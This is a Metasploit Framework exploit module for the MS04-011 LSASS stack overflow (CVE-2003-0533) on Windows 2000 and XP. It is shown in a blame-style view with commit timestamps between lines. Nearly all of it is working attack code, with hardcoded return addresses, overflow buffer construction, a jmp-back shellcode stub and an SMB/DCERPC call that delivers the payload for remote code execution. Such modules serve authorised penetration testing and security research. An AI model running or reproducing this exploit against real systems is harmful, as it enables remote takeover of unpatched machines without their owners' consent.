2007-02-18 00:10:39 +00:00
|
|
|
##
|
2007-03-01 08:21:36 +00:00
|
|
|
# $Id$
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
2009-04-13 14:33:26 +00:00
|
|
|
# http://metasploit.com/framework/
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
|
2005-10-03 13:51:05 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2005-10-03 13:51:05 +00:00
|
|
|
|
|
|
|
#
|
|
|
|
# This module exploits a vulnerability in the LSASS service
|
|
|
|
#
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::DCERPC
|
|
|
|
include Msf::Exploit::Remote::SMB
|
2006-05-30 15:44:33 +00:00
|
|
|
|
2005-10-03 13:51:05 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
2006-09-13 06:49:39 +00:00
|
|
|
'Name' => 'Microsoft LSASS Service DsRolerUpgradeDownlevelServer Overflow',
|
2005-10-03 13:51:05 +00:00
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a stack overflow in the LSASS service, this vulnerability
|
|
|
|
was originally found by eEye. When re-exploiting a Windows XP system, you will need
|
|
|
|
need to run this module twice. DCERPC request fragmentation can be performed by setting
|
|
|
|
'FragSize' parameter.
|
|
|
|
},
|
|
|
|
'Author' => [ 'hdm' ],
|
2006-01-21 22:10:20 +00:00
|
|
|
'License' => MSF_LICENSE,
|
2005-10-03 13:51:05 +00:00
|
|
|
'Version' => '$Revision$',
|
|
|
|
'References' =>
|
|
|
|
[
|
2006-09-13 06:49:39 +00:00
|
|
|
[ 'CVE', '2003-0533' ],
|
2005-10-03 13:51:05 +00:00
|
|
|
[ 'OSVDB', '5248' ],
|
2009-06-07 20:20:42 +00:00
|
|
|
[ 'BID', '10108' ],
|
2005-10-03 13:51:05 +00:00
|
|
|
[ 'MSB', 'MS04-011' ],
|
|
|
|
],
|
|
|
|
'Privileged' => true,
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => 'thread'
|
|
|
|
},
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 1024,
|
|
|
|
'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",
|
2006-07-30 21:31:02 +00:00
|
|
|
'StackAdjustment' => -3500,
|
2005-10-03 13:51:05 +00:00
|
|
|
},
|
2006-01-27 05:00:35 +00:00
|
|
|
'Platform' => 'win',
|
2005-10-03 13:51:05 +00:00
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
# Automatic
|
|
|
|
[
|
|
|
|
'Automatic Targetting',
|
|
|
|
{
|
|
|
|
'Rets' => [ ],
|
|
|
|
},
|
|
|
|
],
|
|
|
|
# Windows 2000
|
|
|
|
[
|
|
|
|
'Windows 2000 English',
|
|
|
|
{
|
|
|
|
'Rets' => [ 0x773242e0 ],
|
|
|
|
},
|
|
|
|
],
|
|
|
|
# Windows XP
|
|
|
|
[
|
|
|
|
'Windows XP English',
|
|
|
|
{
|
|
|
|
'Rets' => [ 0x7449bf1a ],
|
|
|
|
},
|
|
|
|
],
|
|
|
|
],
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
2005-12-13 06:08:40 +00:00
|
|
|
|
2006-01-27 05:00:35 +00:00
|
|
|
connect()
|
2006-04-30 19:49:27 +00:00
|
|
|
smb_login()
|
2005-12-13 06:08:40 +00:00
|
|
|
|
2006-01-27 05:00:35 +00:00
|
|
|
handle = dcerpc_handle('3919286a-b10c-11d0-9ba8-00c04fd92ef5', '0.0', 'ncacn_np', ['\lsarpc'])
|
2006-04-30 19:49:27 +00:00
|
|
|
print_status("Binding to #{handle}...")
|
2006-01-27 05:00:35 +00:00
|
|
|
dcerpc_bind(handle)
|
2006-04-30 19:49:27 +00:00
|
|
|
print_status("Bound to #{handle}...")
|
2005-12-13 06:08:40 +00:00
|
|
|
|
2006-06-19 16:16:50 +00:00
|
|
|
print_status('Getting OS information...')
|
2006-08-05 18:18:27 +00:00
|
|
|
|
2005-10-03 13:51:05 +00:00
|
|
|
# Check the remote OS name and version
|
2006-10-29 16:35:37 +00:00
|
|
|
os = smb_peer_os
|
2007-03-10 03:28:05 +00:00
|
|
|
buff = ''
|
2005-10-03 13:51:05 +00:00
|
|
|
case os
|
2007-03-10 03:28:05 +00:00
|
|
|
|
2005-10-03 13:51:05 +00:00
|
|
|
# Windows 2000 requires that the string be unicode formatted
|
|
|
|
# and give us a nice set of registers which point back to
|
|
|
|
# the un-unicoded data. We simply return to a nop sled that
|
|
|
|
# jumps over the return address, some trash, and into the
|
|
|
|
# final payload. Easy as pie.
|
2006-08-05 18:18:27 +00:00
|
|
|
when /Windows 5\.0/
|
2007-03-01 08:21:36 +00:00
|
|
|
str = rand_text_alphanumeric(3500)
|
2005-10-03 13:51:05 +00:00
|
|
|
str[2020, 4] = [targets[1]['Rets'][0]].pack('V')
|
|
|
|
str[2104, payload.encoded.length ] = payload.encoded
|
2007-03-10 03:28:05 +00:00
|
|
|
buff = NDR.UnicodeConformantVaryingString(str)
|
|
|
|
|
2005-10-03 13:51:05 +00:00
|
|
|
# Windows XP is a bit different, we need to use an ascii
|
|
|
|
# buffer and a jmp esp. The esp register points to an
|
|
|
|
# eight byte segment at the end of our buffer in memory,
|
|
|
|
# we make these bytes jump back to the beginning of the
|
|
|
|
# buffer, giving us about 1936 bytes of space for a
|
|
|
|
# payload.
|
2006-08-05 18:18:27 +00:00
|
|
|
when /Windows 5\.1/
|
2007-03-10 03:28:05 +00:00
|
|
|
str = rand_text_alphanumeric(7000) + "\x00\x00"
|
2005-10-03 13:51:05 +00:00
|
|
|
str[0, payload.encoded.length ] = payload.encoded
|
|
|
|
str[1964, 4] = [targets[2]['Rets'][0]].pack('V')
|
|
|
|
str[1980, 5] = "\xe9\x3f\xf8\xff\xff" # jmp back to payload
|
2007-03-10 03:28:05 +00:00
|
|
|
str[6998, 2] = "\x00\x00"
|
|
|
|
buff = NDR.UnicodeConformantVaryingStringPreBuilt(str)
|
|
|
|
|
|
|
|
# Unsupported target
|
2007-03-10 03:06:38 +00:00
|
|
|
else
|
2005-10-03 13:51:05 +00:00
|
|
|
print_status("No target is available for #{ os }")
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
2007-03-10 03:28:05 +00:00
|
|
|
stub = buff +
|
2006-01-27 05:00:35 +00:00
|
|
|
NDR.long(rand(0xFFFFFF)) +
|
|
|
|
NDR.UnicodeConformantVaryingString('') +
|
|
|
|
NDR.UnicodeConformantVaryingString('') +
|
|
|
|
NDR.UnicodeConformantVaryingString('') +
|
|
|
|
NDR.UnicodeConformantVaryingString('') +
|
|
|
|
NDR.long(rand(0xFFFFFF)) +
|
|
|
|
NDR.UnicodeConformantVaryingString('') +
|
|
|
|
NDR.long(rand(0xFFFFFF)) +
|
|
|
|
NDR.UnicodeConformantVaryingString('') +
|
|
|
|
NDR.long(rand(0xFFFFFF)) +
|
|
|
|
NDR.UnicodeConformantVaryingString('') +
|
2007-03-01 08:21:36 +00:00
|
|
|
rand_text(528) +
|
|
|
|
rand_text(528) +
|
2006-01-27 05:00:35 +00:00
|
|
|
NDR.long(rand(0xFFFFFF))
|
2005-12-13 06:08:40 +00:00
|
|
|
|
2006-07-30 21:31:02 +00:00
|
|
|
print_status("Trying to exploit #{os}")
|
|
|
|
|
2006-01-27 05:00:35 +00:00
|
|
|
begin
|
|
|
|
response = dcerpc_call(9, stub)
|
|
|
|
rescue Rex::Proto::DCERPC::Exceptions::NoResponse
|
2006-04-30 19:49:27 +00:00
|
|
|
print_status('Server did not respond, but that should be ok...')
|
2006-06-19 16:16:50 +00:00
|
|
|
rescue Rex::Proto::DCERPC::Exceptions::Fault
|
|
|
|
case $!.fault
|
|
|
|
when 0x1c010002
|
|
|
|
print_status('Server appears to have been patched')
|
|
|
|
else
|
|
|
|
print_status("Unexpected DCERPC fault 0x%.8x" % $!.fault)
|
|
|
|
end
|
2006-01-27 05:00:35 +00:00
|
|
|
end
|
2005-10-03 13:51:05 +00:00
|
|
|
|
|
|
|
# Perform any required client-side payload handling
|
|
|
|
handler
|
|
|
|
end
|
2009-06-07 20:20:42 +00:00
|
|
|
end
|